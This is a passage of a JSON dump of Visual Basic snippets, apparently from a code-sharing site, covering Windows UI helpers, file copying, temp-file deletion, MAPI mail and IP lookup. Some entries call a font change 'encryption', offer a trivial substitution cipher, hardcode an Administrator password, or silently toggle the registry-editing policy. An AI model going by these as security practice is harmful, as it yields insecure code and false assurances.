0&)\n Case Is = 5 ' = \"currentLineLength\"\n getLineInfo = SendMessageLong(txtObj.hWnd, EM_LINELENGTH, -1, 0&)\n Case Is = 6 ' = \"currentLineCursorPosition\"\n getLineInfo = (SendMessageLong(txtObj.hWnd, EM_GETSEL, 0, 0&) \\ &H10000) + 1 - SendMessageLong(txtObj.hWnd, EM_LINEINDEX, getLineInfo(txtObj, [Current Line Number]) - 1, 0&)\n Case Is = 7 ' = \"lineStart\"\n getLineInfo = (SendMessageLong(txtObj.hWnd, EM_LINEINDEX, (lineNumber - 1), 0&)) + 1\n Case Is = 8 ' = \"lineEnd\"\n getLineInfo = SendMessageLong(txtObj.hWnd, EM_LINEINDEX, (lineNumber - 1), 0&) + 1 + SendMessageLong(txtObj.hWnd, EM_LINELENGTH, (lineNumber - 1), 0&)\n Case Is = 9 ' = \"lineLength\"\n getLineInfo = (SendMessageLong(txtObj.hWnd, EM_LINEINDEX, lineNumber, 0&)) + 1 - (SendMessageLong(txtObj.hWnd, EM_LINEINDEX, (lineNumber - 1), 0&)) - 3\n End Select\nEnd Function\nPublic Function GetLineText(txtObj As Object, lineNumber As Long) As String\n'// If lineNumber = 0 then current line's text is given\n If lineNumber = 0 Then lineNumber = getLineInfo(txtObj, [Current Line Number])\n '// Select text\n Call SendMessageLong(txtObj.hWnd, EM_SETSEL, ((getLineInfo(txtObj, [Line Start], lineNumber)) - 1), ((getLineInfo(txtObj, [Line Start], lineNumber + 1)) - 1))\n GetLineText = txtObj.SelText\nEnd Function\n"},{"WorldId":1,"id":3324,"LineNumber":1,"line":"Public Function CopyFileAny(currentFilename As String, newFilename As String)\nDim a%, buffer%, temp$, fRead&, fSize&, b%\nOn Error GoTo ErrHan:\na = FreeFile\nbuffer = 4048\n Open currentFilename For Binary Access Read As a\n b = FreeFile\n Open newFilename For Binary Access Write As b\n fSize = FileLen(currentFilename)\n \n While fRead < fSize\n DoEvents\n If buffer > (fSize - fRead) Then buffer = (fSize - fRead)\n temp = Space(buffer)\n Get a, , temp\n Put b, , temp\n fRead = fRead + buffer\n Wend\n Close b\n Close a\nCopyFileAny=1\nExit Function\nErrHan:\nCopyFileAny=0\nEnd Function"},{"WorldId":1,"id":3327,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3335,"LineNumber":1,"line":"' Place this in the Form Load event of the form you want to disable the 'X':\nDim hSysMenu As Long\nhSysMenu = GetSystemMenu(hwnd, False)\nRemoveMenu hSysMenu, SC_CLOSE, MF_BYCOMMAND\n"},{"WorldId":1,"id":3339,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3340,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3355,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3363,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3366,"LineNumber":1,"line":"Private Sub Command1_Click()\n Dim X As Long\n X = SystemParametersInfo(SPI_SETDESKWALLPAPER, 0&, \"(None)\", _\n\tSPIF_UPDATEINIFILE Or SPIF_SENDWININICHANGE)\n MsgBox \"Wallpaper was removed\"\nEnd Sub\nPrivate Sub Command2_Click()\n Dim FileName As String\n Dim X As Long\n ' Windows NT\n FileName = \"c:\\winnt\\Coffee Bean.bmp\"\n ' Windows 95 users, uncomment this line, you can delete the previous line\n' FileName = \"c:\\windows\\Coffee Bean.bmp\"\n\n X = SystemParametersInfo(SPI_SETDESKWALLPAPER, 0&, FileName, _ \n\tSPIF_UPDATEINIFILE Or SPIF_SENDWININICHANGE)\n MsgBox \"Wallpaper was changed\"\nEnd Sub"},{"WorldId":1,"id":3367,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3377,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3385,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3387,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3393,"LineNumber":1,"line":"*** The Save Function ***\n Open App.Path & \"\\\" & \"playlist.dyr\" For Output As 1\n For x = 0 To List1.ListCount - 1\n List1.ListIndex = x\n Print #1, List1.Text\n Next\n Close 1\n*** The Load Function ***\n Open App.Path & \"\\\" & \"playlist.dyr\" For Input As 1\n Do Until EOF(1)\n Line Input #1, st\n List1.AddItem st\n Loop\n Close 1"},{"WorldId":1,"id":3399,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3400,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3402,"LineNumber":1,"line":"' MSAGENT example by Amir Malik\n' website: http://amir142.cjb.net\n' e-mail : amir@infoteen.com\n\nPrivate Sub cmdPaste_Click()\n TextData.Text = Clipboard.GetText\nEnd Sub\nPrivate Sub cmdPauseR_Click()\n If cmdPauseR.Caption = \"&Pause / Stop\" Then\n sp.AudioPause\n cmdPauseR.Caption = \"&Resume\"\n ElseIf cmdPauseR.Caption = \"&Resume\" Then\n sp.AudioResume\n cmdPauseR.Caption = \"&Pause / Stop\"\n End If\nEnd Sub\nPrivate Sub cmdSpeak_Click()\n sp.Speak TextData.Text\n sp.Speed = txtSpeed.Text\n Sspeak = True\nEnd Sub\nPrivate Sub txtSpeed_LostFocus()\n If txtSpeed.Text < 50 Then\n MsgBox \"Speed is too low.\"\n txtSpeed.Text = \"150\"\n End If\n If txtSpeed.Text > 250 Then\n MsgBox \"Speed is too high.\"\n txtSpeed.Text = \"150\"\n End If\nEnd Sub\n"},{"WorldId":1,"id":3407,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3412,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3414,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3417,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3422,"LineNumber":1,"line":"''''IN MODULE!''''\nSub ErrHandler\nErrDesc = Err.Description\nErrNum = Err.Number\nBeep\nMsgBox \"Error number \" & ErrNum & \" has occured because: \" &_\nErrDesc, vbCritical, \"Error\"\nExit Sub\n'Edit the msgbox all ya want to make it fit your needs\nEnd Sub\n'Ok, now to make my error handler work you need to\n'add this right under the Sub...Examle:\nPrivate Sub Command1_Click ()\n'Now Here Is the code you need to add:\nOn Error Goto ErrHandle:\n'Then put ALL your code for this Sub in as you would\n'as usual, then at the end type:\nErrHandle:\nCall ErrHandler\n'AND THATS IT!\nEnd Sub\n"},{"WorldId":1,"id":3429,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3434,"LineNumber":1,"line":"Private Sub Command1_Click()\nKillFiles \"C:\\windows\\temp\", \".tmp\"\nEnd Sub\nPublic Sub KillFiles(FilePath As String, Extension As String)\nDim curfile As String\nDim mydate As String\nDim tgtdate As String\nDim tgtpath As String\nDim oldpath As String\nDim indx As Integer\nDim attr As Integer\nOn Error GoTo TrapError\noldpath = CurDir 'Save Current Path and drive'\nmydate = Format(Day(Now), \"##00\") 'Force current date to 2 digits\nChDrive FilePath 'make sure we change drive\nChDir FilePath 'and path to correct place\n'\n'Build full target path variable\n'\nIf Right(FilePath, 1) = \"\\\" Then\n tgtpath = FilePath & \"*\" & Extension\nElse\n tgtpath = FilePath & \"\\*\" & Extension\nEnd If\n'\n' Get first target extension file in directory\n'\ncurfile = Dir(tgtpath, vbNormal)\n'\n' Loop through directory of all extension files\n'\nWhile curfile <> \"\"\n tgtdate = FileDateTime(curfile) 'get file date\n indx = InStr(1, tgtdate, \"/\") 'find first date slash\n tgtdate = Mid(tgtdate, indx + 1) 'move in data\n indx = InStr(1, tgtdate, \"/\") 'find second slash\n tgtdate = Format(Left(tgtdate, indx - 1), \"##00\") 'form 2 digit date\n '\n ' Check to see if the dates are the same\n ' if not, delete the file\n '\n If tgtdate <> mydate Then\n '\n ' check attributes for readonly, system and hidden files\n '\n attr = GetAttr(curfile) And 31 ' and out unwanted bits\n If attr <> 0 Then 'file is special\n resp = MsgBox(curfile & \" Is protected ... Delete?\", vbYesNo)\n If resp = vbYes Then\n SetAttr curfile, vbNormal 'reset attributes so u can delete\n Kill curfile ' delete the file\n End If\n Else\n Kill curfile ' file is normal file .. delete it\n End If\n End If\n curfile = Dir() ' get next file\nWend\nChDrive oldpath 'restore original drive\nChDir oldpath 'restore original path\nExit Sub\nTrapError:\n MsgBox Error(Err) & \" on \" & curfile\n Resume Next\nEnd Sub\n"},{"WorldId":1,"id":3437,"LineNumber":1,"line":"'So you have your 2 forms? Good. \n'Use the code below in the specified \n'areas...\n\n Private Sub Command1_Click()\n Form2.Command1.Value = True\n End Sub\n\n'That goes in form1's command button. Just add an action to the command button on form 2 to work it!"},{"WorldId":1,"id":3445,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3448,"LineNumber":1,"line":"Private oIADS As ActiveDs.IADsContainer\nPrivate oUser As ActiveDs.IADsUser\nPrivate oGroup As ActiveDs.IADsGroup\nPrivate Sub Form_Load()\n txtDomain = \"MYDOMAIN\"\n usrName = \"Administrator\"\n usrPassword = \"sa\"\n usrNameOfInterest = \"WebDood\"\n \n Set oIADS = GetObject(\"WinNT:\").OpenDSObject(\"WinNT://\" & txtDomain, usrName, usrPassword, 1)\n Set oUser = oIADS.GetObject(\"user\", usrNameOfInterest)\n With oUser\n Debug.Print \"NT UserName\" & Space$(8) & .Name\n Debug.Print \"FullName\" & Space$(11) & .FullName\n Debug.Print \"This user belongs to the following NT Groups:\"\n For Each oGroup In .Groups\n Debug.Print vbTab & oGroup.Name\n Next\n End With\n \nEnd Sub\n"},{"WorldId":1,"id":3451,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3457,"LineNumber":1,"line":"Public Function szExeFile(ByVal Index As Long) As String\n szExeFile = ListOfActiveProcess(Index).szExeFile\nEnd Function\nPublic Function dwFlags(ByVal Index As Long) As Long\n dwFlags = ListOfActiveProcess(Index).dwFlags\nEnd Function\nPublic Function pcPriClassBase(ByVal Index As Long) As Long\n pcPriClassBase = ListOfActiveProcess(Index).pcPriClassBase\nEnd Function\nPublic Function th32ParentProcessID(ByVal Index As Long) As Long\n th32ParentProcessID = ListOfActiveProcess(Index).th32ParentProcessID\nEnd Function\nPublic Function cntThreads(ByVal Index As Long) As Long\n cntThreads = ListOfActiveProcess(Index).cntThreads\nEnd Function\nPublic Function thModuleID(ByVal Index As Long) As Long\n thModuleID = ListOfActiveProcess(Index).th32ModuleID\nEnd Function\nPublic Function th32DefaultHeapID(ByVal Index As Long) As Long\n th32DefaultHeapID = ListOfActiveProcess(Index).th32DefaultHeapID\nEnd Function\nPublic Function th32ProcessID(ByVal Index As Long) As Long\n th32ProcessID = ListOfActiveProcess(Index).th32ProcessID\nEnd Function\nPublic Function cntUsage(ByVal Index As Long) As Long\n cntUsage = ListOfActiveProcess(Index).cntUsage\nEnd Function\nPublic Function dwSize(ByVal Index As Long) As Long\n dwSize = ListOfActiveProcess(Index).dwSize\nEnd Function\nPublic Function GetActiveProcess() As Long\n Dim hToolhelpSnapshot As Long\n Dim tProcess As PROCESSENTRY32\n Dim r As Long, i As Integer\n hToolhelpSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)\n If hToolhelpSnapshot = 0 Then\n GetActiveProcess = 0\n Exit Function\n End If\n With tProcess\n .dwSize = Len(tProcess)\n r = ProcessFirst(hToolhelpSnapshot, tProcess)\n ReDim Preserve ListOfActiveProcess(20)\n Do While r\n i = i + 1\n If i Mod 20 = 0 Then ReDim Preserve ListOfActiveProcess(i + 20)\n ListOfActiveProcess(i) = tProcess\n r = ProcessNext(hToolhelpSnapshot, tProcess)\n Loop\n End With\n GetActiveProcess = i\n Call CloseHandle(hToolhelpSnapshot)\nEnd Function\n"},{"WorldId":1,"id":3463,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3464,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3471,"LineNumber":1,"line":"Option Explicit\nPublic Sub BoxGradient(OBJ As Object, R%, G%, B%, RStep%, GStep%, BStep%, Direc As Boolean)\nDim s%, xpos%, ypos%\nOBJ.ScaleMode = 3 'pixel\nIf Direc = True Then\nRStep% = -RStep%\nGStep% = -GStep%\nBStep% = -BStep%\nEnd If\nDoBox:\ns% = s% + 1\nIf xpos% < Int(OBJ.ScaleWidth / 2) Then xpos% = s%\nIf ypos% < Int(OBJ.ScaleHeight / 2) Then ypos% = s%\nOBJ.Line (xpos%, ypos%)-(OBJ.ScaleWidth - xpos%, OBJ.ScaleHeight - ypos%), RGB(R%, G%, B%), B\nR% = R% - RStep%\nIf R% < 0 Then R% = 0\nIf R% > 255 Then R% = 255\nG% = G% - GStep%\nIf G% < 0 Then G% = 0\nIf G% > 255 Then G% = 255\nB% = B% - BStep%\nIf B% < 0 Then B% = 0\nIf B% > 255 Then B% = 255\nIf xpos% = Int(OBJ.ScaleWidth / 2) And ypos% = Int(OBJ.ScaleHeight / 2) Then\nExit Sub\nEnd If\nGoTo DoBox\nEnd Sub\n"},{"WorldId":1,"id":3473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3481,"LineNumber":1,"line":"Function SetDwordKeyValue(Hkey As String, SubKey As String, Keyname As String, Dword As String, Value As String)\nDword = \"=dword:\"\nA$ = \"REGEDIT4\" & vbCrLf & \"[\" & Hkey & \"\\\" & SubKey & \"]\" & vbCrLf & \"\"\"\" & Keyname & \"\"\"\" & Dword & Value\nOpen \"c:\\reg.reg\" For Output As 1'create a 'Reg file and name it: 'Reg.reg\nPrint #1, A$\nClose #1\nret = Shell(\"regedit.exe /s \" & \"c:\\reg.reg\", 0)\nKill \"c:\\reg.reg\"\nEnd Function\nSub DoIt(rtn As Boolean)\n'Disable/Re-enable Regedit.exe\nIf rtn = True Then\nret = SetDwordKeyValue(\"HKEY_CURRENT_USER\", \"\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\", \"DisableRegistryTools\", \"\", \"00000001\")\nElse\nret = SetDwordKeyValue(\"HKEY_CURRENT_USER\", \"\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\", \"DisableRegistryTools\", \"\", \"00000000\")\nEnd If\nEnd Sub\n\nPrivate Sub Form_Load()\n'Writing to the Registry with no API's! What! No joke, It can be done!\n'Changing this value to True Disables Regedit.Exe & Vice Versa.\n'Comments:Steve.Brigden@Usa.Net\nDoIt False\nEnd Sub"},{"WorldId":1,"id":3487,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3489,"LineNumber":1,"line":"MAPIsession1.SignOn\nif mapisession1.sessionID <> 0 then\nwith mapimessages1\n.sessionid = MapiSession1.sessionID\n.compose \n.recipdisplayname \"YOUR NAME\"\nrecipaddress = \"me@myipdomain.com\"\n.msgsubject = \"SUBJECT\"\n.msgnotetext= \"Message\"\n.send false\nend with\nmapisession1.signoff\nend if\n"},{"WorldId":1,"id":3492,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3495,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3497,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3507,"LineNumber":1,"line":"' Adjust Drop Down Width (ComboBox)\nPublic Sub AdjDropDownWidth(ByVal NewDropDownWidth As Long, ByVal ComboHwnd As Long)\n Call SendMessageLong(ComboHwnd, CB_SETDROPPEDWIDTH, NewDropDownWidth, 0)\n Call SendMessageLong(ComboHwnd, CB_GETDROPPEDWIDTH, 0, 0)\nEnd Sub\nPrivate Function GetCmbItemWidth(ByVal FormHwnd As Long) As Long\n Dim hFont As Long\n Dim hFontOld As Long\n Dim r As Long\n Dim avgWidth As Long\n Dim hDC As Long\n Dim sz As SIZE\n hDC = GetDC(FormHwnd)\n hFont = GetStockObject(ANSI_VAR_FONT)\n hFontOld = SelectObject(hDC, hFont)\n Call GetTextExtentPoint32(hDC, tmp, 52, sz)\n avgWidth = (sz.cX / 52)\n Call SelectObject(hDC, hFontOld)\n Call DeleteObject(hFont)\n Call ReleaseDC(FormHwnd, hDC)\n GetCmbItemWidth = avgWidth\nEnd Function\n' Set Drop Down Height (ComboBox)\nPublic Sub SetCmbDropDownHeight(ByVal numItemsToDisplay As Byte, ByVal objCombo As ComboBox)\n Dim cWidth As Long\n Dim newHeight As Long\n Dim oldScaleMode As Long\n Dim itemHeight As Long\n Dim ComboHwnd As Long\n ComboHwnd = objCombo.hwnd\n oldScaleMode = objCombo.Parent.ScaleMode\n objCombo.Parent.ScaleMode = vbPixels\n cWidth = objCombo.Width\n itemHeight = SendMessageLong(ComboHwnd, CB_GETITEMHEIGHT, 0, 0)\n newHeight = itemHeight * (numItemsToDisplay + 2)\n Call MoveWindow(ComboHwnd, objCombo.Left / Screen.TwipsPerPixelX, objCombo.Top / Screen.TwipsPerPixelX, objCombo.Width / Screen.TwipsPerPixelX, newHeight, True)\n objCombo.Parent.ScaleMode = oldScaleMode\nEnd Sub\n' Auto Adjust Drop Down Width (ComboBox)\nPublic Sub AutoAdjCombo(ByVal objCombo As ComboBox)\n Dim i As Long\n Dim NumOfChars As Long\n Dim LongestComboItem As Long\n Dim avgCharWidth As Long\n Dim NewDropDownWidth As Long\n Dim ComboHwnd As Long\n ComboHwnd = objCombo.hwnd\n For i = 0 To objCombo.ListCount - 1\n NumOfChars = SendMessageLong(ComboHwnd, CB_GETLBTEXTLEN, i, 0)\n If NumOfChars > LongestComboItem Then LongestComboItem = NumOfChars\n Next\n avgCharWidth = GetCmbItemWidth(objCombo.Parent.hwnd)\n NewDropDownWidth = (LongestComboItem - 2) * avgCharWidth\n Call SendMessageLong(ComboHwnd, CB_SETDROPPEDWIDTH, NewDropDownWidth, 0)\n Call SendMessageLong(ComboHwnd, CB_GETDROPPEDWIDTH, 0, 0)\nEnd Sub\n' Show Drop Down (ComboBox)\nPublic Sub Dropdown(ByVal ComboHwnd As Long)\n Call SendMessageLong(ComboHwnd, CB_SHOWDROPDOWN, True, 0)\nEnd Sub\n' Hide Drop Down (ComboBox)\nPublic Sub HideDropDown(ComboHwnd As Long)\n Call SendMessageLong(ComboHwnd, CB_SHOWDROPDOWN, False, ByVal 0)\nEnd Sub\n' Copy contents of a listbox to another listbox\nPublic Function CopyListToList(SourceHwnd As Long, DestHwnd As Long) As Long\n Dim c As Long\n Const LB_GETCOUNT = &H18B\n Const LB_GETTEXT = &H189\n Const LB_ADDSTRING = &H180\n Dim numitems As Long\n Dim sItemText As String * 255\n numitems = SendMessageLong(SourceHwnd, LB_GETCOUNT, 0&, 0&)\n LockWinUpdate DestHwnd\n If numitems > 0 Then\n For c = 0 To numitems - 1\n Call SendMessageStr(SourceHwnd, LB_GETTEXT, c, ByVal sItemText)\n Call SendMessageStr(DestHwnd, LB_ADDSTRING, 0&, ByVal sItemText)\n Next\n End If\n LockWinUpdate 0&\n numitems = SendMessageLong(DestHwnd, LB_GETCOUNT, 0&, 0&)\n CopyListToList = numitems\nEnd Function\n' Copy contents of a listbox to a combobox\nPublic Function CopyListToCombo(SourceHwnd As Long, DestHwnd As Long) As Long\n Dim c As Long\n Const LB_GETCOUNT = &H18B\n Const LB_GETTEXT = &H189\n Const CB_GETCOUNT = &H146\n Const CB_ADDSTRING = &H143\n Dim numitems As Long\n Dim sItemText As String * 255\n numitems = SendMessageLong(SourceHwnd, LB_GETCOUNT, 0&, 0&)\n LockWinUpdate DestHwnd\n If numitems > 0 Then\n For c = 0 To numitems - 1\n Call SendMessageStr(SourceHwnd, LB_GETTEXT, c, ByVal sItemText)\n Call SendMessageStr(DestHwnd, CB_ADDSTRING, 0&, ByVal sItemText)\n Next\n End If\n LockWinUpdate 0&\n numitems = SendMessageLong(DestHwnd, CB_GETCOUNT, 0&, 0&)\n CopyListToCombo = numitems\nEnd Function\n'Set horizontal extent (ListBox)\nPublic Sub SetLBHorizontalExtent(objLB As ListBox)\n Dim i As Integer\n Dim res As Long\n Dim Scrollwidth As Long\n With objLB\n For i = 0 To .ListCount\n If .Parent.TextWidth(.List(i)) > Scrollwidth Then _\n Scrollwidth = .Parent.TextWidth(.List(i))\n Next i\n res = SendMessage(.hwnd, LB_SETHORIZONTALEXTENT, _\n (Scrollwidth + 100) / Screen.TwipsPerPixelX, 0)\n End With\nEnd Sub\n' Highlight An Item When Your Mouse Is Over It (ListBox)\nPublic Sub HighlightLBItem(ByVal LBHwnd As Long, ByVal X As Single, ByVal Y As Single)\n Dim ItemIndex As Long\n Dim AtThisPoint As POINTAPI\n AtThisPoint.X = X \\ Screen.TwipsPerPixelX\n AtThisPoint.Y = Y \\ Screen.TwipsPerPixelY\n Call ClientToScreen(LBHwnd, AtThisPoint)\n ItemIndex = LBItemFromPt(LBHwnd, AtThisPoint.X, AtThisPoint.Y, False)\n If ItemIndex <> SendMessage(LBHwnd, LB_GETCURSEL, 0, 0) Then\n Call SendMessage(LBHwnd, LB_SETCURSEL, ItemIndex, 0)\n End If\nEnd Sub\n' Set Tab Stops (ListBox)\nPublic Sub SetTabsTops(ByVal LBHwnd As Long)\n Dim tabsets&(2)\n tabsets(0) = 45\n tabsets(1) = 110\n Call SendMessageLongByRef(LBHwnd, LB_SETTABSTOPS, 2, tabsets(0))\nEnd Sub\n' Increase Performance of Adding Data Into\n' ComboBox and ListBox\nPrivate Sub LockWinUpdate(ByVal hwndLock As Long)\n Call LockWindowUpdate(hwndLock)\nEnd Sub\n"},{"WorldId":1,"id":3510,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3511,"LineNumber":1,"line":"Private Sub Text1_Change()\n On Error Resume Next\n Text1.SelLength = 0\n If Len(Text1.Text) > 0 Then\n If Right$(Text1.Text,1) = vbCrLf Then\n Text1.SelStart = Len(Text1.Text) - 1\n Exit Sub\n End If\n Text1.SelStart = Len(Text1.Text)\n End If\nEnd Sub"},{"WorldId":1,"id":3522,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3523,"LineNumber":1,"line":"' You need a menu with 3 options, cut, copy, paste. Make sure to name them\n' mnucut, mnucopy, mnupaste. Or just make 3 buttons and change the code a bit.\n' You need one text box, defualt name text1. And thats it.\nPrivate Sub mnucopy_Click()\nIf Text1.SelText = \"\" Then\n Exit Sub\nElse\n Clipboard.Clear\n Clipboard.SetText Text1.SelText\nEnd If\nEnd Sub\nPrivate Sub mnucut_Click()\nIf Text1.SelText = \"\" Then\n Exit Sub\nElse\n Clipboard.Clear\n Clipboard.SetText Text1.SelText\n Text1.SelText = \"\"\nEnd If\nEnd Sub\nPrivate Sub mnupaste_Click()\nText1.SelText = Clipboard.GetText\n\nEnd Sub\n"},{"WorldId":1,"id":3524,"LineNumber":1,"line":"Public Const WS_VERSION_REQD = &H101\n Public Const WS_VERSION_MAJOR = WS_VERSION_REQD \\ &H100 And &HFF&\n Public Const WS_VERSION_MINOR = WS_VERSION_REQD And &HFF&\n Public Const MIN_SOCKETS_REQD = 1\n Public Const SOCKET_ERROR = -1\n Public Const WSADescription_Len = 256\n Public Const WSASYS_Status_Len = 128\n Public Type HOSTENT\n hName As Long\n hAliases As Long\n hAddrType As Integer\n hLength As Integer\n hAddrList As Long\n End Type\n Public Type WSADATA\n wversion As Integer\n wHighVersion As Integer\n szDescription(0 To WSADescription_Len) As Byte\n szSystemStatus(0 To WSASYS_Status_Len) As Byte\n iMaxSockets As Integer\n iMaxUdpDg As Integer\n lpszVendorInfo As Long\n End Type\n Public Declare Function WSAGetLastError Lib \"WSOCK32.DLL\" () As Long\n Public Declare Function WSAStartup Lib \"WSOCK32.DLL\" (ByVal _\n wVersionRequired&, lpWSAData As WSADATA) As Long\n Public Declare Function WSACleanup Lib \"WSOCK32.DLL\" () As Long\n \n Public Declare Function gethostname Lib \"WSOCK32.DLL\" (ByVal hostname$, _\n ByVal HostLen As Long) As Long\n Public Declare Function gethostbyname Lib \"WSOCK32.DLL\" (ByVal _\n hostname$) As Long\n Public Declare Sub RtlMoveMemory Lib \"kernel32\" (hpvDest As Any, ByVal _\n hpvSource&, ByVal cbCopy&)\n Function hibyte(ByVal wParam As Integer)\n hibyte = wParam \\ &H100 And &HFF&\n End Function\n Function lobyte(ByVal wParam As Integer)\n lobyte = wParam And &HFF&\n End Function\n Sub SocketsInitialize()\n Dim WSAD As WSADATA\n Dim iReturn As Integer\n Dim sLowByte As String, sHighByte As String, sMsg As String\n iReturn = WSAStartup(WS_VERSION_REQD, WSAD)\n If iReturn <> 0 Then\n MsgBox \"Winsock.dll is not responding.\"\n End\n End If\n If lobyte(WSAD.wversion) < WS_VERSION_MAJOR Or (lobyte(WSAD.wversion) = _\n WS_VERSION_MAJOR And hibyte(WSAD.wversion) < WS_VERSION_MINOR) Then\n sHighByte = Trim$(Str$(hibyte(WSAD.wversion)))\n sLowByte = Trim$(Str$(lobyte(WSAD.wversion)))\n sMsg = \"Windows Sockets version \" & sLowByte & \".\" & sHighByte\n sMsg = sMsg & \" is not supported by winsock.dll \"\n MsgBox sMsg\n End\n End If\n 'iMaxSockets is not used in winsock 2. So the following check is only\n 'necessary for winsock 1. If winsock 2 is requested,\n 'the following check can be skipped.\n If WSAD.iMaxSockets < MIN_SOCKETS_REQD Then\n sMsg = \"This application requires a minimum of \"\n sMsg = sMsg & Trim$(Str$(MIN_SOCKETS_REQD)) & \" supported sockets.\"\n MsgBox sMsg\n End\n End If\n End Sub\n Sub SocketsCleanup()\n Dim lReturn As Long\n lReturn = WSACleanup()\n If lReturn <> 0 Then\n MsgBox \"Socket error \" & Trim$(Str$(lReturn)) & \" occurred in Cleanup \"\n End\n End If\n End Sub\nPublic Function GetTheIP()\n Dim hostname As String * 256\n Dim hostent_addr As Long\n Dim host As HOSTENT\n Dim hostip_addr As Long\n Dim temp_ip_address() As Byte\n Dim i As Integer\n Dim ip_address As String\n If gethostname(hostname, 256) = SOCKET_ERROR Then\n MsgBox \"Windows Sockets error \" & Str(WSAGetLastError())\n Exit Function\n Else\n hostname = Trim$(hostname)\n End If\n hostent_addr = gethostbyname(hostname)\n If hostent_addr = 0 Then\n MsgBox \"Winsock.dll is not responding.\"\n Exit Function\n End If\n RtlMoveMemory host, hostent_addr, LenB(host)\n RtlMoveMemory hostip_addr, host.hAddrList, 4\n MsgBox hostname\n 'get all of the IP address if machine is multi-homed\n Do\n ReDim temp_ip_address(1 To host.hLength)\n RtlMoveMemory temp_ip_address(1), hostip_addr, host.hLength\n For i = 1 To host.hLength\n ip_address = ip_address & temp_ip_address(i) & \".\"\n Next\n ip_address = Mid$(ip_address, 1, Len(ip_address) - 1)\n MsgBox ip_address\n ip_address = \"\"\n host.hAddrList = host.hAddrList + LenB(host.hAddrList)\n RtlMoveMemory hostip_addr, host.hAddrList, 4\n Loop While (hostip_addr <> 0)\nEnd Function\n"},{"WorldId":1,"id":3526,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3529,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3530,"LineNumber":1,"line":"'add 2 command buttons\n'add 1 text box\n'coded by the other matt\n'please give me mention if you ever decide to use this in one of you apps:)\nPrivate Sub Command1_Click()\nIf Text1 = \"\" Then MsgBox \"YOU MUST ENTER SOME TEXT!\"\nCommand1.Caption = \"Encrypt\"\nText1.Font = \"Money\"\nEnd Sub\nPrivate Sub Command2_Click()\nIf Text1 = \"\" Then MsgBox \"YOU MUST ENTER SOME TEXT!\"\nCommand2.Caption = \"Decrypt\"\nText1.Font = \"Times New Roman\"\nEnd Sub"},{"WorldId":1,"id":3537,"LineNumber":1,"line":"Public Function Encode(vText As String)\n Dim CurSpc As Integer\n Dim varLen As Integer\n Dim varChr As String\n Dim varFin As String\n \n varLen = Len(vText)\n Do While CurSpc <= varLen\n DoEvents\n CurSpc = CurSpc + 1\n varChr = Mid(vText, CurSpc, 1)\n Select Case varChr\n 'lower case\n Case \"a\"\n varChr = \"coe\"\n Case \"b\"\n varChr = \"wer\"\n Case \"c\"\n varChr = \"ibq\"\n Case \"d\"\n varChr = \"am7\"\n Case \"e\"\n varChr = \"pm1\"\n Case \"f\"\n varChr = \"mop\"\n Case \"g\"\n varChr = \"9v4\"\n Case \"h\"\n varChr = \"qu6\"\n Case \"i\"\n varChr = \"zxc\"\n Case \"j\"\n varChr = \"4mp\"\n Case \"k\"\n varChr = \"f88\"\n Case \"l\"\n varChr = \"qe2\"\n Case \"m\"\n varChr = \"vbn\"\n Case \"n\"\n varChr = \"qwt\"\n Case \"o\"\n varChr = \"pl5\"\n Case \"p\"\n varChr = \"13s\"\n Case \"q\"\n varChr = \"c%l\"\n Case \"r\"\n varChr = \"w$w\"\n Case \"s\"\n varChr = \"6a@\"\n Case \"t\"\n varChr = \"!2&\"\n Case \"u\"\n varChr = \"(=c\"\n Case \"v\"\n varChr = \"wvf\"\n Case \"w\"\n varChr = \"dp0\"\n Case \"x\"\n varChr = \"w$-\"\n Case \"y\"\n varChr = \"vn&\"\n Case \"z\"\n varChr = \"c*4\"\n \n 'numbers\n Case \"1\"\n varChr = \"aq@\"\n Case \"2\"\n varChr = \"902\"\n Case \"3\"\n varChr = \"2.&\"\n Case \"4\"\n varChr = \"/w!\"\n Case \"5\"\n varChr = \"|pq\"\n Case \"6\"\n varChr = \"ml|\"\n Case \"7\"\n varChr = \"t'?\"\n Case \"8\"\n varChr = \">^s\"\n Case \"9\"\n varChr = \"<s^\"\n Case \"0\"\n varChr = \";&c\"\n \n 'caps\n Case \"A\"\n varChr = \"$)c\"\n Case \"B\"\n varChr = \"-gt\"\n Case \"C\"\n varChr = \"|p*\"\n Case \"D\"\n varChr = \"1\" & Chr(34) & \"r\"\n Case \"E\"\n varChr = \"c>:\"\n Case \"F\"\n varChr = \"@+x\"\n Case \"G\"\n varChr = \"v^a\"\n Case \"H\"\n varChr = \"]eE\"\n Case \"I\"\n varChr = \"aP0\"\n Case \"J\"\n varChr = \"{=1\"\n Case \"K\"\n varChr = \"cWv\"\n Case \"L\"\n varChr = \"cDc\"\n Case \"M\"\n varChr = \"*,!\"\n Case \"N\"\n varChr = \"fW\" & Chr(34)\n Case 